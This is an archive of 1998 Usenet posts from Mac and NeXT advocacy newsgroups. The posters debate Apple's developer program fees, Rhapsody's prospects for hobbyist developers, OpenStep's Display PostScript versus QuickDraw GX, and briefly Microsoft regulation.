Message-ID: <fretwiz-1504981806000001@den-co5-24.ix.netcom.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <slrn6jade3.4a9.jason@jhste1.dyn.ml.org> <35353613.40E@CONVEX.COM>
In article <35353613.40E@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
> It *is* relevant that State influence over the process more
> fundamentally lies within popular control than does Federal influence,
> and you're quite right to stress this. Although I don't believe that
> healthy Federalism is the whole cure for government's ills, it is a good
> starting point.
>
> > The states limit the power of the federal government, and the people
> > limit the power of the states.
The states CAN limit the power of the federal government, read the
constitution regarding issues of money. 'Federalism' is essentially what
we have now, many think the words 'Healthy Federalism' are mutually
exclusive. In any event, the U.S. government is hardly the model for proof
to the contrary.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 08:31:27 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h1r8v$os8$5@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3532DAA4.895A8924@nstar.net>
<ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@convex.com>
<6h14er$hmh@newsb.netnews.att.com>
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Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6h14er$hmh@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
claimed:
> Incidentally, it is a very similar dilemma that faces Apple
> with Rhapsody, even though there may be several million users
> ready-made.
Speaking of, as one of this groups more neutral denziens, do you think
Rhapsody has a chance of "pushing" into the Unix market as whole in any way?
Unix is making a major comeback, but some of that seems to be directly
related to it being free and not MS. Although Apple can get the later, can
they get the former? Do you think it makes a difference? If a fully
functional commercial Unix were to hit the market at a reasonable price
point, can it make a dent?
Maury
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 14:15:28 GMT
Organization: Indiana University, Bloomington
Message-ID: <6h2fe0$9ju$1@jetsam.uits.indiana.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h0at1$h5v$2@ns3.vrx.net> <6h15cp$55q$1@jetsam.uits.indiana.edu> <6h1r44$os8$4@ns3.vrx.net>
In article <6h1r44$os8$4@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6h15cp$55q$1@jetsam.uits.indiana.edu> Gregory Loren Hansen claimed:
>> No matter what distribution system you use, development costs are
>> independent of market share. Even with an electronic distribution system,
>> or especially with an electronic distribution system, the more copies you
>> sell, the lower the per unit cost can be while still making up the
>> development costs.
>
> Sure, but there's much more to a product than development costs - they may
>in fact be a small part. Support is _exponential_ with shipped units for
>instance, and service costs are typically close to linear.
>
>Maury
How can support costs be exponential?
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 00:32:51 GMT
Organization: MiscKit Development
Message-ID: <6h3jjj$neu$2@news.xmission.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108> <joe.ragosta-1504980821190001@wil34.dol.net> <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de> <6h3960$9sp$6@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>
> Michael Schuerig wrote:
> > <quote>
> > ... an upcoming article will look at OpenDoc [...].
> > </quote>
> >
> > Did I miss it?
> >
> It's freeware. It's coming, but in its own time. Maybe if you sent the
> authors some money it would appear sooner...
Hey, now there's a concept! It is definitely true that I work on my paid
projects first and devote any free time that remains (if any) to things like
Stepwise.
sarcasm = [Delivery newWithSmile:@"wry"
eyes:@"twinkling"
demeanor:@"mischevious"];
[sarcasm deliverWithString:@" \
\
So, hmmm...I'd estimate that given the time it would \
require to finish the article, and at my present \
consulting fee, if you send me a check for $400, you'll \
see the article the day after the check clears. Any \
takers can get my snail mail address off my home page. \
The more the better. Deal? \
\
:-) :-) \
\
Of course, if you're willing to be a little patient, \
you'll get it for free... "];
[sarcasm release];
Nothing like a little Objective-C to brighten my day... :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 02:35:07 +0200
Organization: Completely Disorganized
Message-ID: <1d7k4bk.1ppwcvt1t3nn9fN@rhrz-isdn3-p29.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108> <joe.ragosta-1504980821190001@wil34.dol.net> <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de> <6h39jm$9sp$7@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de> Michael Schuerig
> wrote:
> > BTW, are there numbers of how many people have been using it and how
> > many people are using OpenStep or have been using OS half a year after
> > its introduction?
> >
> No idea on numbers, but the answer will depend on whether you include ex-NeXT
> seats and WebObjects deployments. OPENSTEP itself was introduced a couple of
> years ago and there are many thousands of users of OPENSTEP products, whether
> on OPENSTEP/Mach or Windows/NT, or as WebObjects applications on Mach, NT,
> HP-UX or Solaris. This is solid, production quality technology that is being
> used in some of the most demanding environments there are.
Don't get me wrong. It's not been my intention to claim anything
different. I was just asking Joe Ragosta for a fair comparison.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 02:35:28 +0200
Organization: Completely Disorganized
Message-ID: <1d7k4ei.1576w73rtfhr0N@rhrz-isdn3-p29.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17> <6h32og$4la$1@news.digifix.com>
Scott Anguish <sanguish@digifix.com> wrote:
> As far as compound documents go, virtually the entire
> computing world has ignored it. You can't bludgeon the customer to
> death with something that they simply don't want, and don't
> understand.
Well, actually they've got it already -- it's only that they call it
Microsoft Office and that it's hard for a third party to sneak in.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 02:35:01 +0200
Organization: Completely Disorganized
Message-ID: <1d7k468.9vwk5sdainmcN@rhrz-isdn3-p29.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108> <joe.ragosta-1504980821190001@wil34.dol.net> <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de> <6h38s2$neu$1@news.xmission.com>
Don Yacktman <don@misckit.com> wrote:
> Enough people have
> asked about the OpenDoc article that it has become a fairly high priority on
> my list, now...
>
> If you want quality, these things take time, my friend. Be patient and
> you'll be rewarded. There's some great stuff coming down the pike.
Fine. I must admit that I wouldn't have hoped for it.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 00:47:11 GMT
Organization: @Home Network
Message-ID: <6h3kef$1gp$1@ha2.rdc1.sdca.home.com>
References: <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17>
<6h2kdg$gb9$2@ha2.rdc1.sdca.home.com> <6h2ojh$pn0@nntp02.primenet.com>
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Cc: jjens@primenet.com
In <6h2ojh$pn0@nntp02.primenet.com> John Jensen wrote:
> Rex Riley <rr6013@yahoo.com> wrote:
> : Apple wants "Professional" developers writing Rhapsody software. You
> : haven't proven that Apple needs so-called hobbyist developers writing
> : techno-cool sparetime applications. Remember Rhapsody is for Servers in
> : big corporations and PowerUsers doing Web graphics.
>
> If anyone is tired of this elist crap, come on over to Java. The Java
> community seems very open to hobbyists.
>
>
Ahh... _community_. Then maybe the community should respond?
Rhapsody is, no doubt, cool and gilded with powerful technologies like EOF,
PDO, etc... Hobbyists given a free pass into the "kingdom" and free "time",
absolutely incredible software will emerge. Look at Tim Berners-Lee and WWW.
There was no commercial impetus or social agenda behind WWW. The guy wanted
multiple hyperlinks to common sources, irregardless of content type.
Grassroots development community represents the lifeblood of Apple's OS
future. NeXT development community was so strong precisely because there was
no commercial marketplace. Maybe we're missing the "community" building
necessary to make RhapsodyOS for everyone? Commercial Developer's lining up
behind the Company Line at Stepwise must be underestimating hobbyists assuming
Rhapsody only to have room for one "type" of Developer.
Commercial Developers, in their defense, know the cost to penetrate any
software market is non-trivial. Rhapsody, miniscule as it is, will be
expensive to sell-into simply because no market, customers, distribution or
organization exists. VC's are running scared with start-ups built upon an
Apple market plan. Smart VC Angels look for "cross-platform" little apps
which cost "chump change" to develop and market out to the widest marketplace
possible with the shortest cycle return. That sounds like a hobbyist niche.
Approaching Rhapsody without a BusinessPlan is an expensive education.
Developers who run the numbers know whether Apple's new program is of "value"
and "how much". Sitting there knowing Rhapsody represents $XXXX value at the
$500 price point, I can understand their condecending and patronizing "No
Whiners" speil (sp).
> In fact, just yesterday the
> project manager for a major IDE called me and thanked me for my hobby
> project, and asked if he could send out a free copy of his high-end IDE in
> appreciation. Think different.
>
>
That's a cool story. It must have taken a lot of spare time, enthusiasm,
money and effort developing your project. I guess its spare time since you
were'nt paid for developing it. I don't think the Professional developer's
appreciate how much it takes to accomplish that kind of appreciation by
developing as a hobbyist.
Your post made me see how the "unity" of the programming community could be
harmed. Grassroots "small" developers rely upon Commercial "experienced"
developers for advice, references, code and leadership as they scale the
hurdles they must overcome. Commercial Developers find "usenet" a valuable
resource for identifying "promising" talent and commraderie. This symbiosis
is too valuable to let business practices and lack of leadership damage.
How about a "Grassroots" community challenge? Respond to this "mess" with a
grassroots solution? Tuck small developers under Commercial Developer's wing
in an "apprenticeship". Yeah like bring them on board and make sure the
"company" beta copy get to the hobbyist. Make sure that they have the "tools"
they need to blossom into that valuable resource pool. See to it that $250
bucks doesn't create a Class Distinction within the ranks. Elitism breeds
discrimination and antagonism within the community. Who needs it?
Commercial Developers? No Whining! You've already run the numbers, you well
know "how much" you are saving with Apple's new program. There's no excuse to
squeal and whinney about getting the code into the right hands. You obviously
developed a valuable enough project that commercial interest is there. Are
there any Developers against apprenticeship in the community? Any Developers
for it?
Small Developers? LightenUp! All Professional Developer's are not elitist
or against hobbyists. In deference to the Grassroots community, a common
community solution is in "everyone's" best interest. So? Would this go along
way to solving affordability, access and community needs of the hobbyists?
-r
Rex Riley
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 15:53:12 +0200
Organization: Guest of OLEANE
Message-ID: <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104> <6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com> <6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com> <6h06pj$oop$45@ironhorse.plsys.co.uk> <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com> <6h21e2$oop$48@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> No, I'm not satisfied: you said it was *for administrative use only*.
> The statement from Apple clearly includes student, staff and faculty.
>
> > I'd like to take a look at the fine print for this offer though.
> >
> For heaven's sake -- what fine print do you need?!
I'll rephrase the sentence in two ways that only the fine print can
decide which is the correct one:
1 "...Apple is reinforcing its commitment to education by offering...
for (academic and university-related) (administrative use)..."
2 "...Apple is reinforcing its commitment to education by offering...
for academic and (university-related administrative use)..."
Now do you understand the need for fine print? I hope tha N°2 is what
Apple meant, but it's N°1 I understood.
Benoît Leraillez
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 15:15:45 GMT
Organization: @Home Network
Message-ID: <6h2iv1$gb9$1@ha2.rdc1.sdca.home.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com>
<6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com>
<6h06pj$oop$45@ironhorse.plsys.co.uk> <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com>
<6h21e2$oop$48@ironhorse.plsys.co.uk> <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com>
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Cc: bl003@dial.oleane.com
In <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com> Benoit Leraillez wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > No, I'm not satisfied: you said it was *for administrative use only*.
> > The statement from Apple clearly includes student, staff and faculty.
> >
> > > I'd like to take a look at the fine print for this offer though.
> > >
> > For heaven's sake -- what fine print do you need?!
>
> I'll rephrase the sentence in two ways that only the fine print can
> decide which is the correct one:
>
> 1 "...Apple is reinforcing its commitment to education by offering...
> for (academic and university-related) (administrative use)..."
>
> 2 "...Apple is reinforcing its commitment to education by offering...
> for academic and (university-related administrative use)..."
>
> Now do you understand the need for fine print? I hope tha NÊ2 is what
> Apple meant, but it's NÊ1 I understood.
>
>
NeXT WebObjects was "restricted" from being used for class scheduling,
matriculation and tuition because it was "NOT" academic related. SJ doing a
turnaround? I think N2 needs to be clarified.
-r
Subject: Re: Microsoft Faking Testimonials...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <35345D0D.4E834B73@nstar.net> <Rc1Z.14$p5.184704@news.itd.umich.edu> <3534C4EB.A26C0CBC@nstar.net>
In-Reply-To: <3534C4EB.A26C0CBC@nstar.net>
From: not@my.address.net
Message-ID: <Yi4Z.42$p5.301070@news.itd.umich.edu>
Date: Wed, 15 Apr 1998 15:24:40 GMT
NNTP-Posting-Date: Wed, 15 Apr 1998 11:24:40 EDT
On 04/15/98, "Michael J. Peck" wrote:
>
>Utter nonsense. Practical socialism is not limited to income
>distribution merely in levied taxes. Socialism can include industrial
>subsidies, legislation protecting unions and strikes, and ultimately the
>appropriation of entire industries into government bureaucracy.
>
This is irrelevant. Income redistribution was just an illustration. The
point is that a commitment to the regulation of natural monopolies does not
betray a commitment to Socialism. You could think that industrial
subsidies are a waste of public funds, that unions should be disbanded,
that strikes should be outlawed, that taxes should be cut on the wealthy
and raised on the poor and STILL favor the regulation of a natural
monopoly.
>I've already stated that
>Microsoft's share of the software market hovers around 2%, according to
>Bill Gates. Like most arguments that preach political expediency in
>government action, yours seems to be based on fiction and pure
>supposition.
Umm. I didn't see or read that bit of testimony, but I'm amused that's
what you've chosen as a point of comparison.
Best,
--
invert: umich.edu jdevlin
insert: shift "2"
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 15:40:32 GMT
Organization: @Home Network
Message-ID: <6h2kdg$gb9$2@ha2.rdc1.sdca.home.com>
References: <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17>
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Cc: brad@hutchings-software.com
In <B159701C-344A1@207.217.155.17> "Brad Hutchings" wrote:
> Rex Riley paraphrased Wil Shipley:
>
> ><Paraphrase> from Stepwise "Think Wisely" page:
> >"The truth is Apple's developer program was way too generous,..."
> >"... the new prices are chump change and those not making that much money
> >don't really need to be in the developer program"
> ></Paraphrase>
>
> Excellent paraphrase. It's time for cynical, evil me to issue a call for
> some severe attitude adjustment here. Listen NeXTies. There aren't enough
> of you writing software to make Rhapsody (as presented at 1997 WWDC)
> successful. There just aren't. There were more of us doing OpenDoc, OK? We
> couldn't save that. I may be able to write a simple word processor in 20
> minutes with IB, and you may have been able to do that years ago, but it
> didn't make NeXT a ladybug on a truck's windshield w.r.t. the wider
> consumer market. Apple needs developers writing Rhapsody software if
> Rhapsody is going to be a success.
>
>
Apple wants "Professional" developers writing Rhapsody software. You haven't
proven that Apple needs so-called hobbyist developers writing techno-cool
sparetime applications. Remember
Rhapsody is for Servers in big corporations and PowerUsers doing Web graphics.
>These monthly announcements in ADN about
> so-and-so porting Enhanced-Niche-Do-Nothing-Product 5.6 to Rhapsody aren't
> going mean squat.
>
>
So much for Stepwise? I thought they were the center of Rhapsody?
> Now, Apple can get developers one of two ways. Apple can actively and
> positively court them, and do everything in its power short of paying them
> or giving them equipment to get them to write cool Rhapsody stuff that
> matters for a wide-audience OS. That's the "Guy Kawasaki" way... Or, Apple
> can pay them. Herding a shrinking developer crowd into a marketing program,
> treating developer tech-support as a profit center (or pricing it as a high
> cost PITA), and reducing developer-to-engineer contact is a sure-fire way
> to force developers to confront the costs of sticking with Apple platforms
> and consider alternatives.
>
>
Apple is increasing developer-to-engineer contact. Apple is saying this ain't
no HMO Customer Svc. where everybody gets 12 mins. You pay we play as much
time to answer your question. They've got the stuff out there for free. What
action do you think they should do to encourage developers to stick with Apple
platforms? And how many are there?
> Before the NeXT purchase, there were so many good things happening at Apple
> to improve DEVELOPER RELATIONS and that cost absolutely nothing and
> required near-zero management. Apple was opening up with tech-specific
> mailing lists, tech-specific news lists, etc. More than one Apple engineer
> observed that it improved their products as well, because engineers got
> better direct feedback from developers who actually used their stuff.
>
>
So what happened. Did it change? How are Professional paying developers
responsible? Seems that people either didn't use the service, produce cool
techno-apps nor attract new developers. Otherwise why would Apple do what
they are Now?
>Now,
> we're back to a developer marketing mentality, where the variables are
> costs and service packages.
>
> While the rest of the business world is working to treat its customers like
> partners, anachronistic Apple, under the direction of that dictator in
> bought 16 months ago, wants to treat its partners like customers.
>
>
OK OK who said Steve Jobs is even behind this Developer Program. Let's not
turn the guy into a whipping boy. His name isn't on the ADR as director.
Apple couldn't build their own OS and they know even less about Corporate
professional's needs.
If you are going to marry the hobbyist culture to the professional culture
you're going to have to present a more compelling evidence that cute ladybugs
and feel good Developer Relations.
-r
Rex Riley
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 08:49:21 -0700
Organization: Trilithon Research and Trading
Message-ID: <3534D701.D218AB2E@trilithon.com>
References: <3534431D.AD9C2AA6@trilithon.com> <B159B890-32953@206.165.43.108>
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Lawson English wrote:
* Henry McGilton <henry@trilithon.com> said:
* * very few people "program using DPS". This
* * is one of the standard items of mythology
* * promulgated by the anti-OpenStep faction.
* Are you putting me in that faction?
No --- you're in the pro-GX faction. See below.
* Why? Because I would prefer to see a different
* graphics architecture? Whether or not I have
* any valid points to make about DPS vs GX, I
* seldom, if ever, knock Objective C and while I'm
* not convinced that the Rhapsody Yellow Box
* framework will be "perfect," I'm quite willing
* to concede that a universally avaible OOP framework
* can have MAJOR advantages over Apple's Toolbox-style APIs.
There's nothing wrong at all with your wishing a different
graphics architecture. That's why I keep encouraging you
to go ahead and implement it. The OpenStep Appkit layer and
all of the applications written on top thereof were written
on the assumption that there's a DPS engine underneath.
Such an assumption leads to implementing in a certain
fashion.
Had the underlying imaging model been X-Swindles,
the programming would have been different (and probably
wouldn't have been finished yet) and all the kits and apps
would depend on that imaging model.
As for the anti-OpenStep faction:
When OpenStep was first mooted, a bloke from Harris Corp
wrote an article on why OpenStep was doomed. One stated
reason was that OpsnStep used DPS instead of X. He stated,
in a kind of roundabout twisted logic, that DPS's problem
was that only one imaging model was used, whereas with X
you learned one imaging model (poorly defined) for screen
and then you learned PostScript for printing. In his logic,
learning two imaging models made X somehow "better".
Another item of mythology, as I've pointed out, was that
OpenStep programmers have to be PostScript experts to get
anything done. I gathered the statistics and published them,
and that didn't convince anybody.
People who haven't been within a kilometre of OpenStep
keep repeating the mythology of having to be expert
PostScript hackers to get the work done, and it simply
isn't true.
You can't easily and
in any reasonable timeframe rip out DPS and replace it with
seomthing else like GX, however much you want to. You know,
I argued this issue with you in December 1996, and you've
continued blowing the GX can do more than DPS trumpet ever
since. I pointed out, back then, that GX and DPS are at
different levels of abstraction. So you could easily build
a client-side application kit that implements the GX API,
and it would use DPS calls to do the low-level rendering.
So go to it --- let's have this studly appkit layer Real
Soon Now. As the Yankees say: PUT UP OR SHUT UP.
* Directly, you mean. I understand that the DPS engine
* can render things faster than GX in many ways. I accept
* that. I just wanna have the ability to do in Rhapsody
* the kinds of things that I can with GX.
Build your GX appkit layer, and at least one programmer will
use it.
* Why are you defending DPS?
Actually, I'm not defending DPS per se. DPS is a tool that
I use when appropriate. DPS is the tool that the Appkit
layer is built upon.
* If DPS is so seldom used in Rhapsody,
That is *not* what I said --- cease and desist from twisting
the words and the meaning.
* why worry as long as Rhaposdy can produce the graphics
* that YOU want it to?
* Everyone accuses me of being a nut about GX.
That's because you're long on opinions about how superior
GX is to DPS, but woefully short on real-world application
kits that us benighted heathens can use. Come on now,
where's your GX AppKit layer? Show us all what a wizard
you are.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 98 18:05:07 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15AA766-2917F@207.217.155.85>
References: <6h2m8m$fbp$3@ns3.vrx.net>
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nntp://news.earthlink.net/comp.sys.next.advocacy
> Gee, how nice. Apple f**ked me over, so I hope they do the same to you.
>
Gee, Maury, did you bother to read the NeXT sentence, where I said my
cynical, evil side would be satisfied if OpenStep apps required a couple
miniscule changes to compiler to Rhapsody? Well, that's what it said. Sure
I come off as irrevocably pissed at certain Apple decision makers, and sure
I'd had it with "OpenStep does that" the second time I heard it. But I
don't wish any serious failure/screwing on anyone, except Steve Jobs.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 09:07:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6h2lv4$mtl@nntp02.primenet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <ericb-1304982021040001@132.236.171.104> <6gve4s$oop$40@ironhorse.plsys.co.uk> <ericb-1404981437160001@132.236.171.104> <6h27ta$oop$52@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: In <ericb-1404981437160001@132.236.171.104> Eric Bennett wrote:
: > How long should I wait? The plan for regular developers has been around
: > for a long time. Rhapsody DR1 came out last September. Does it really
: > take seven months to make an announcement?
: In the case of Rhapsody, yes.
: I think it's reasonable to expect you to wait until WWDC for further
: announcements, given that that's what the rest of us are doing, and when
: Apple themselves have said that announcements will be made...
This is the crux, isn't it?
You can either wait or start coding now. If you want to start coding now,
there are lots of development environments available. There are free
downloads for MacOS tools, and Java tools, and Perl tools, and Tcl/Tk, and
Python ...
You can download all those and try them out for yourself.
The only thing you can't try out is Rhapsody. It's a secret. If you are
willing to pay first and sign first (NDA), you can be part of the secret
society of Rhapsody developers.
Time will tell how brilliant that secrecy is.
John
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 20:24:54 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <35356BF6.F3856C5F@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net>
